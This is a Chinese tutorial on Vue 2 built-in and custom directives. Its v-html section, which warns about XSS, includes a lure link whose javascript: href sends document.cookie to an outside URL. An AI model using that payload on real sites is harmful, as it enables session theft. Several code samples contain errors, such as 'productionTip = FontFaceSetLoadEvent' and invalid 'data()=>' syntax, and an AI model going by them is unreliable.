指令
1.内置指令
之前了解到的指令
v-bind:单向绑定解析表达式,可简写为:v-model:双向数据绑定v-for:遍历数组 / 对象 / 字符串v-on:绑定事件监听,可简写为**@**v-show:条件渲染 (动态控制节点是否展示)v-if:条件渲染(动态控制节点是否存存在)v-else-if:条件渲染(动态控制节点是否存存在)v-else:条件渲染(动态控制节点是否存存在)
v-bind
基本用法
v-bind用于父组件向子组件传值,语法如下:
父组件向子组件传的值,子组件应当用props接收
<template>
<div>
<Child v-bind="text" />
</div>
</template>
<script>
import Child from "./views/Child.vue";
export default {
components: { Child },
data() {
return {
text: "123",
};
},
};
</script><template>
<div>
{{ text }}
</div>
</template>
<script>
export default {
props:['text']
};
</script>简写
一般父组件可能会给子组件传递多个值,但是v-bind只能传递一个值
<Child v-bind="text" v-bind="name"/>
err duplicate-attribute 重复的属性于是我们可以使用简写,使用一个:即可
这样不仅可以传递多个属性值,也可以自定义属性名
<Child :text="text" :name="name"/>v-model
v-model专门用来双向绑定表单中的数据
视图数据改变,模型数据自动更新,模型数据更新,视图也会自动更新
不同表单绑定的数据类型不同
若
<input type="text"/>,则v-model收集的是value值,用户输入的内容就是value值若
<input type="radio"/>,则v-model收集的是value值,且要给标签配置value属性若
<input type="checkbox"/>没有配置value属性,那么收集的是checked属性(勾选 or 未勾选,是布尔值)
配置了value属性
v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
v-model的初始值是数组,那么收集的就是value组成的数组
v-model原理
v-model是基于表单的:value属性和@input事件封装的
<template>
<input :value="val" @input="onChange">
</template>
<script>
export default{
data()=>{
return{
val:""
}
},
methods:{
onChange(e){
this.val=e.target.value
}
}
}
</script>组件中的v-model
在组件中,v-model父传子是prop实现,子传父是通过$emit('input')实现的
当组件中使用v-model时,会自动绑定一个@input事件
<Child v-model="value"/>相当于
<Child :value="value" @input="(v)=> value = v"/>那么我们在子组件中就可以使用$emit('input',value)把数据传递给父组件
父组件通过v-model向子组件传递数据时,子组件props中应该接收的属性名为value
如下所示
<template>
<Stars v-model="value"></Stars>
</template>
<script>
export default {
components: {
Stars: () => import('./views/Stars.vue'),
},
data() {
return {
value: 0,
}
},
}
</script><template>
<div>
{{ value }}
<button @click="$emit('input', value + 1)">add</button>
</div>
</template>
<script>
export default {
props: {
value: Number,
},
}
</script>v-model的修饰符
| 修饰符 | 作用 |
|---|---|
| lazy | 失去焦点后再收集数据,input事件改为change |
| number | 输入字符串转为有效的数字 |
| trim | 输入首尾空格过滤 |
v-text
作用:向其所在的节点中渲染文本内容,相当于原生语法的innerText
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'cess',
str:'<h3>你好啊!</h3>'
}
})
</script>v-html
v-html 指令
作用:向指定节点中渲染包含 html 结构的内容,相当于原生语法的innerHtml
与插值语法的区别:
v-html会替换掉节点中所有的内容,插值语法则不会
v-html可以识别html结构
严重注意v-html有安全性问题!!!
在网站上动态渲染任意html是非常危险的,容易导致 XSS 攻击
一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
<div id="root">
<div>你好,{{ name }}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = FontFaceSetLoadEvent
new Vue({
el:'#root',
data:{
name:'cess',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>v-cloak
v-cloak指令(没有值),当使用插值语法时,有时候因为某些原因,两个大括号会在视图中一闪而过,这样用户就会说你写的代码垃圾,v-cloak可以用来解决这个问题
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时插值语法展示成字符串的问题
<style>
[v-cloak] {
display:none;
}
</style>
<div id="root">
<h2 v-cloak>{{ name }}</h2>
</div>
//...
<script type="text/javascript">
console.log(1)
new Vue({
el:'#root',
data:{name:'cess'}
})
</script>v-once
v-once所在节点在初次动态渲染后,就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<div id="root">
<h2 v-once>初始化的n值是: {{n}}</h2>
<h2>当前的n值是: {{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {n:1}
})
</script>v-pre
跳过v-pre所在节点的编译过程,插值语法比如,会直接渲染成字符串
<template>
<div v-pre>
{{ value }}
</div>
</template>
2.自定义指令
定义自定义质量只用写指令名,不用加v-
2.1 局部指令
作为一个配置项使用,通过directives配置项
<script>
new Vue({
data(){
return{
// ...
}
},
directives:{
指令名:{
bind: function (el, binding) {}, //显示,挂载
inserted: function (el, binding) {}, //显示,挂载 可以获取父节点
update: function (el, binding) {}, //更新
unbind: function (el, binding) {} //隐藏
}
// ...
}
})
</script>每个指令分别有以下几个钩子函数
| 钩子函数 | 作用 |
|---|---|
| bind(element, binding) | 只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。 |
| inserted(element,binding) | 被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。 |
| update(element, binding) | 指令所在模板结构被重新解析时调用 |
| componentUpdated(element, binding) | 指令所在组件的 VNode 及其子 VNode 全部更新后调用。 |
| unbind(element, binding) | 只调用一次,指令与元素解绑时调用 |
函数钩子内的参数:
- el:指令所绑定的元素,可以用来直接操作 DOM。
- binding:一个对象,包含以下 property:
- name:指令名,不包括
v-前缀。 - value:指令的绑定值,例如:
v-my-directive="1 + 1"中,绑定值为2。 - oldValue:指令绑定的前一个值,仅在
update和componentUpdated钩子中可用。无论值是否改变都可用。 - expression:字符串形式的指令表达式。例如
v-my-directive="1 + 1"中,表达式为"1 + 1"。 - arg:传给指令的参数,可选。例如
v-my-directive:foo中,参数为"foo"。 - modifiers:一个包含修饰符的对象。例如:
v-my-directive.foo.bar中,修饰符对象为{ foo: true, bar: true }。
- name:指令名,不包括
- vnode:Vue 编译生成的虚拟节点。移步 VNode API 来了解更多详情。
- oldVnode:上一个虚拟节点,仅在
update和componentUpdated钩子中可用
除了
el之外,其它参数都应该是只读的,切勿进行修改。如果需要在钩子之间共享数据,建议通过元素的dataset来进行。
2.2 全局指令
import Vue from 'vue';
Vue.directive('指令名', {
// el就是DOM元素,binding就是要绑定的对象
bind(el, binding) {},
inserted(el, binding) {},
update(el, binding) {},
unbind(el, binding) {}
})2.4 函数简写
在很多时候,你可能想在 bind 和 update 时触发相同行为,而不关心其它的钩子。比如这样写:
Vue.directive('test', (el, binding)=>{
el.style.backgroundColor = binding.value
})2.3 使用自定义指令
在dom元素标签中添加v-指令名属性
<input type="text" v-test />2.4 注意
指令定义时不加v-,但使用时要加v-
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
directives: {
'big-number'(element,binding) {
element.innerText = binding.value * 10
}
}